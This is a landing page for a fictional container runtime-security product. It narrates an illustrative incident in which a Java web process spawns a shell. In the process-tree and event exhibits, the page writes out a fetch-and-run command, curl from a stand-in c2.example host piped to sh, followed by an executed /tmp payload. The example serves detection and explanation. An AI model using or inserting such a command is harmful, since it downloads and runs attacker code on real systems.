If we wake you at 3 a.m., it’s real.

CyberShield watches what your containers actually do while they run. It stays quiet about code that never executes, and when something real happens, it sends one page with the evidence already attached.

Follow last night’s page See what stayed quiet

2,144runtime events overnight

2,139not worth waking you for

1page

3:14

Thursday 23 October

Reviewing routine activity

ILLUSTRATIVE INCIDENT / NO LIVE ALERTS

03:00RoutineNo interruption

03:14Correlate5 related events

03:14One pageEvidence attached

The receipts

What we didn’t wake you for.

Quiet isn’t the same as hidden. Every event CyberShield chose not to page on is grouped, explained and kept, so you can check its judgment in the morning.

1,812Event-loop pollingingress-nginx, epoll_wait and readMatches baseline

Why it stayed quietSame process, same calls, same rate as the last 41 nights.

What would make it pageThe same process spawning a child, or writing outside its own directories.

214Scheduled report jobcron nightly-report running pythonExpected

Why it stayed quietRuns at 03:00 every night from the same image digest, touching the same files.

What would make it pageA changed image digest, or a network destination outside the reporting database.

96Cluster DNS lookupsseveral workloads to kube-dnsExpected

Why it stayed quietNames already resolved by these workloads this month.

What would make it pageLookups of newly registered or random-looking domains.

17Certificate readspayment-gateway reading /etc/ssl/certsExpected

Why it stayed quietHappens at every TLS handshake. Read-only, known paths.

What would make it pageAny write to that directory.

5Shell spawned by a web processpayment-gateway, java launching /bin/sh1 page at 03:14

Why this one woke youIn 41 days of baseline, this java process has never started a shell. The shell then fetched and ran a file and opened a new outbound connection.

Why only one pageAll five events belong to one chain of activity, so they arrive as one incident, not five alerts.

Kept for 30 days and searchable. In the morning, anyone can ask why something stayed quiet and get the reason, not a shrug.

Keep your image scanner. It tells you what could be exploited. CyberShield tells you what is actually running. They answer different questions.

The night, minute by minute

One page. Twenty-seven minutes. A person made the call.

03:14:07

The web process starts a shell it has never started before.

java (2214) inside payment-gateway launches /bin/sh with a download-and-run command.

Exhibit A: process treecaptured from kernel events

containerd-shim (1180)
└─ java -jar gateway.jar (2214)      payment-gateway-69d8
   └─ /bin/sh -c "curl -s https://c2.example/p | sh" (8491)
first seen
      ├─ curl -s https://c2.example/p (8492)
      └─ sh (8493)
         └─ /tmp/.x (8494)

03:14:08

A file lands in /tmp, runs, and calls out.

Five system calls in under a second. Together they’re one story, so they become one incident.

Exhibit B: system callspid, call, detail

03:14:07.412  execve   8491  /bin/sh            ppid 2214
03:14:07.415  execve   8492  /usr/bin/curl
03:14:07.431  connect  8492  203.0.113.45:443
never contacted by this cluster
03:14:08.020  openat   8493  /tmp/.x            O_CREAT|O_WRONLY
03:14:08.024  execve   8494  /tmp/.x

03:14:09
One page goes to Maya, who is on call.
Two seconds after the first event. CyberShield is in observe mode on this cluster, so it doesn’t act on its own. It sends the evidence and a suggestion.
03:19
Maya has to decide. What would you do?

The shell is running. The parent is java (2214).
Pick one. Each choice shows what happens next.
03:22
Maya isolates the pod and keeps it.
Egress blocked, pod taken out of the Service. The shell, the file and java (2214) stay exactly where they are, cut off, for the morning.
03:24
A clean replica is serving. The compromised pod is cut off but kept.
Customer traffic never stopped. The isolated pod still holds the file, the process memory and the connection history for the morning.
03:41
Image digest pinned for forensics. Maya goes back to bed.
No further outbound connections from the workload since isolation.

09:30, the review

The evidence writes the timeline. People write the lessons.

CyberShield drafts the factual part of the postmortem from what it recorded. Root cause and follow-ups stay with the team, because that’s where the judgment is.

Incident 214: shell in payment-gatewayBlameless review

Timeline Drafted from evidence

03:14:07 java (2214) spawns /bin/sh
03:14:08 /tmp/.x written and executed
03:14:09 page sent to on-call
03:22 pod isolated, removed from service
03:24 clean replica serving

Impact Drafted from evidence

One pod for about eight minutes. One inbound download of 4.1 KB. No outbound connections from the workload after 03:22.

Root cause Written by the team

An unpatched deserialisation flaw in a JSON library let a crafted request run commands. The image scanner had flagged it in March, as one of 312 findings.

What we’ll change Written by the team

Patch the library and redeploy every service using it.
Move runtime-confirmed findings to the top of the scanner queue.
Turn on enforce mode for egress isolation in the payments namespace.

Before it goes in your kernel

Straight answers to the questions you’d ask.

Platform engineers decide in the first five minutes whether a security vendor understands the kernel. These are the answers we’d want if we were installing it.

OBSERVE MODE

Start by watching. The sensor records behaviour, pages with evidence and keeps the decision with the team.

WHAT LEAVES THE NODE

Event metadata such as process names, paths, addresses and timestamps — not request bodies or file contents.

WHY PLATFORM TEAMS CARE

The first question is never whether a brand can make a pretty dashboard. It is whether the product understands how runtime evidence should be surfaced, scoped and removed.

containerd-shim (1180)host runtime anchor

java -jar gateway.jar (2214)payment-gateway workload

/bin/sh -c curl ... | sh (8491)first seen

curl -s https://c2.example/p (8492)follows shell spawn

03:14:07java launches /bin/sh

03:14:08/tmp/.x written and executed

03:14:09one page sent with context attached

03:22pod isolated but preserved for morning review

payment-gateway

→

local cluster services

java / worker process

→

203.0.113.45:443

INTERPRETATION

One new outbound destination does not matter because it is visually dramatic. It matters because it happened immediately after a first-seen shell spawned from a web process.

What does it attach to?

Kernel tracepoints and a small set of kprobes covering process starts, file opens and network connections. Nothing is injected into your containers.

Which kernels?

5.8 and later use the BPF ring buffer. 5.4 to 5.7 fall back to the perf buffer, which can drop events under heavy load. The sensor reports drops instead of hiding them.

What privileges does it need?

CAP_BPF and CAP_PERFMON, or CAP_SYS_ADMIN on older kernels. Loading eBPF programs is privileged work, and we say so.

Can it act, or only watch?

Observe mode is the default: it watches, pages and suggests. Enforce mode is opt-in per namespace and can stop processes or isolate a pod’s network.

What does it cost to run?

We publish the benchmark harness, not just a number, so you can measure it on your own nodes with your own traffic. Overhead depends on how busy your syscalls are.

Can a bad program crash the node?

The eBPF verifier rejects unsafe programs before they load, which makes crashes far less likely than with kernel modules. Not impossible; kernel bugs exist, and we track them.

How do I take it out?

helm uninstall cybershield removes the DaemonSet and unloads the programs. Check with bpftool prog list.

What leaves the node?

Event metadata: process names, paths, addresses, timestamps. Not file contents, request bodies or environment variables.

Tonight

Put it on one staging node. See what it would have woken you for.

Observe mode only, one node, one command to remove. In the morning, read the ledger and decide if its judgment matches yours.

CyberShield is a fictional brand. These commands point at a reserved example domain and won’t install anything.

$ helm repo add cybershield https://charts.cybershield.example
$ helm install cybershield cybershield/sensor \
    --set mode=observe \
    --set nodeSelector."kubernetes\.io/hostname"=staging-node-3
✓ sensor ready on 1 node, observe mode, kernel 6.1 (ring buffer)
# tomorrow morning
$ helm uninstall cybershield

Fictional commands